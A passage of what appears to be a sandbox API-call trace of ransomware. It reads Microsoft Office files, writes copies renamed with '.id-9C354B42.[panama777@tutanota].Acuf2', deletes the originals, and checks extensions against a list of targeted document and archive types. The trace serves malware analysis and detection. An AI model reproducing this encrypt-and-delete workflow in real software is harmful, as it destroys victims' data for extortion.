	[0263.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.406] GetLastError () returned 0x0
	[0263.406] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x866, lpOverlapped=0x0) returned 1
	[0263.407] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x870, lpOverlapped=0x0) returned 1
	[0263.408] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.408] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.408] SetEndOfFile (hFile=0x32c) returned 1
	[0263.408] CloseHandle (hObject=0x32c) returned 1
	[0263.408] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.408] SetEndOfFile (hFile=0x218) returned 1
	[0263.410] CloseHandle (hObject=0x218) returned 1
	[0263.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 1
	[0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.411] lstrlenW (lpString=".doc") returned 4
	[0263.411] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.411] lstrlenW (lpString=".docx") returned 5
	[0263.411] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1
	[0263.411] lstrlenW (lpString=".pdf") returned 4
	[0263.411] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.411] lstrlenW (lpString=".xls") returned 4
	[0263.411] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.411] lstrlenW (lpString=".xlsx") returned 5
	[0263.411] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1
	[0263.411] lstrlenW (lpString=".ppt") returned 4
	[0263.411] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.411] lstrlenW (lpString=".zip") returned 4
	[0263.411] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.411] lstrlenW (lpString=".rar") returned 4
	[0263.411] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.411] lstrlenW (lpString=".bz2") returned 4
	[0263.411] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.411] lstrlenW (lpString=".7z") returned 3
	[0263.411] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.411] lstrlenW (lpString=".dbf") returned 4
	[0263.411] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.411] lstrlenW (lpString=".1cd") returned 4
	[0263.411] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.412] lstrlenW (lpString=".jpg") returned 4
	[0263.412] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.412] lstrlenW (lpString=".doc") returned 4
	[0263.412] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString=".docx") returned 5
	[0263.412] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1
	[0263.412] lstrlenW (lpString=".pdf") returned 4
	[0263.412] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString=".xls") returned 4
	[0263.412] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.412] lstrlenW (lpString=".xlsx") returned 5
	[0263.412] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1
	[0263.412] lstrlenW (lpString=".ppt") returned 4
	[0263.412] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.412] lstrlenW (lpString=".zip") returned 4
	[0263.412] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.412] lstrlenW (lpString=".rar") returned 4
	[0263.412] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString=".bz2") returned 4
	[0263.412] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString=".7z") returned 3
	[0263.412] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.412] lstrlenW (lpString=".dbf") returned 4
	[0263.412] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.412] lstrlenW (lpString=".1cd") returned 4
	[0263.412] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60
	[0263.413] lstrlenW (lpString=".jpg") returned 4
	[0263.413] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.413] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0263.413] lstrlenW (lpString="NETWORK3.VRD") returned 12
	[0263.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.413] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=3246) returned 1
	[0263.413] CloseHandle (hObject=0x218) returned 1
	[0263.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 0x20
	[0263.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.413] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.414] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.414] GetLastError () returned 0x0
	[0263.414] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xcae, lpOverlapped=0x0) returned 1
	[0263.495] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xcb0, lpOverlapped=0x0) returned 1
	[0263.496] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.496] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.496] SetEndOfFile (hFile=0x32c) returned 1
	[0263.496] CloseHandle (hObject=0x32c) returned 1
	[0263.496] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.496] SetEndOfFile (hFile=0x218) returned 1
	[0263.498] CloseHandle (hObject=0x218) returned 1
	[0263.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 1
	[0263.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.599] lstrlenW (lpString=".doc") returned 4
	[0263.599] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.599] lstrlenW (lpString=".docx") returned 5
	[0263.599] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1
	[0263.599] lstrlenW (lpString=".pdf") returned 4
	[0263.599] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.599] lstrlenW (lpString=".xls") returned 4
	[0263.599] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.599] lstrlenW (lpString=".xlsx") returned 5
	[0263.599] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1
	[0263.599] lstrlenW (lpString=".ppt") returned 4
	[0263.599] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.599] lstrlenW (lpString=".zip") returned 4
	[0263.599] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.600] lstrlenW (lpString=".rar") returned 4
	[0263.600] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString=".bz2") returned 4
	[0263.600] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString=".7z") returned 3
	[0263.600] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.600] lstrlenW (lpString=".dbf") returned 4
	[0263.600] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.600] lstrlenW (lpString=".1cd") returned 4
	[0263.600] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.600] lstrlenW (lpString=".jpg") returned 4
	[0263.600] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.600] lstrlenW (lpString=".doc") returned 4
	[0263.600] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString=".docx") returned 5
	[0263.600] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1
	[0263.600] lstrlenW (lpString=".pdf") returned 4
	[0263.600] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString=".xls") returned 4
	[0263.600] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.600] lstrlenW (lpString=".xlsx") returned 5
	[0263.600] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1
	[0263.600] lstrlenW (lpString=".ppt") returned 4
	[0263.600] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.600] lstrlenW (lpString=".zip") returned 4
	[0263.600] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.600] lstrlenW (lpString=".rar") returned 4
	[0263.601] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.601] lstrlenW (lpString=".bz2") returned 4
	[0263.601] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.601] lstrlenW (lpString=".7z") returned 3
	[0263.601] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.601] lstrlenW (lpString=".dbf") returned 4
	[0263.601] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.601] lstrlenW (lpString=".1cd") returned 4
	[0263.601] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60
	[0263.601] lstrlenW (lpString=".jpg") returned 4
	[0263.601] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.601] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0263.601] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15
	[0263.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0263.631] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=207) returned 1
	[0263.631] CloseHandle (hObject=0x360) returned 1
	[0263.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 0x20
	[0263.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.683] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.683] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.683] GetLastError () returned 0x0
	[0263.683] ReadFile (in: hFile=0x28c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xcf, lpOverlapped=0x0) returned 1
	[0263.684] WriteFile (in: hFile=0x320, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0263.685] ReadFile (in: hFile=0x28c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.685] WriteFile (in: hFile=0x320, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0263.685] SetEndOfFile (hFile=0x320) returned 1
	[0263.685] CloseHandle (hObject=0x320) returned 1
	[0263.685] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.685] SetEndOfFile (hFile=0x28c) returned 1
	[0263.687] CloseHandle (hObject=0x28c) returned 1
	[0263.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 1
	[0263.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.688] lstrlenW (lpString=".doc") returned 4
	[0263.688] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.688] lstrlenW (lpString=".docx") returned 5
	[0263.688] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.688] lstrlenW (lpString=".pdf") returned 4
	[0263.688] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.688] lstrlenW (lpString=".xls") returned 4
	[0263.688] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.688] lstrlenW (lpString=".xlsx") returned 5
	[0263.688] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.688] lstrlenW (lpString=".ppt") returned 4
	[0263.688] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.689] lstrlenW (lpString=".zip") returned 4
	[0263.689] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString=".rar") returned 4
	[0263.689] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString=".bz2") returned 4
	[0263.689] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.689] lstrlenW (lpString=".7z") returned 3
	[0263.689] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.689] lstrlenW (lpString=".dbf") returned 4
	[0263.689] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.689] lstrlenW (lpString=".1cd") returned 4
	[0263.689] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.689] lstrlenW (lpString=".jpg") returned 4
	[0263.689] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.689] lstrlenW (lpString=".doc") returned 4
	[0263.689] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.689] lstrlenW (lpString=".docx") returned 5
	[0263.689] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.689] lstrlenW (lpString=".pdf") returned 4
	[0263.689] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString=".xls") returned 4
	[0263.689] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString=".xlsx") returned 5
	[0263.689] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.689] lstrlenW (lpString=".ppt") returned 4
	[0263.689] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.690] lstrlenW (lpString=".zip") returned 4
	[0263.690] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.690] lstrlenW (lpString=".rar") returned 4
	[0263.690] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.690] lstrlenW (lpString=".bz2") returned 4
	[0263.690] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.690] lstrlenW (lpString=".7z") returned 3
	[0263.690] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.690] lstrlenW (lpString=".dbf") returned 4
	[0263.690] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.690] lstrlenW (lpString=".1cd") returned 4
	[0263.690] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63
	[0263.690] lstrlenW (lpString=".jpg") returned 4
	[0263.690] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.690] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Acuf2") returned 1
	[0263.690] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19
	[0263.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.690] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=114560) returned 1
	[0263.690] CloseHandle (hObject=0x28c) returned 1
	[0263.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 0x20
	[0263.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0263.691] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.691] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0263.691] GetLastError () returned 0x0
	[0263.691] ReadFile (in: hFile=0x28c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1bf80, lpOverlapped=0x0) returned 1
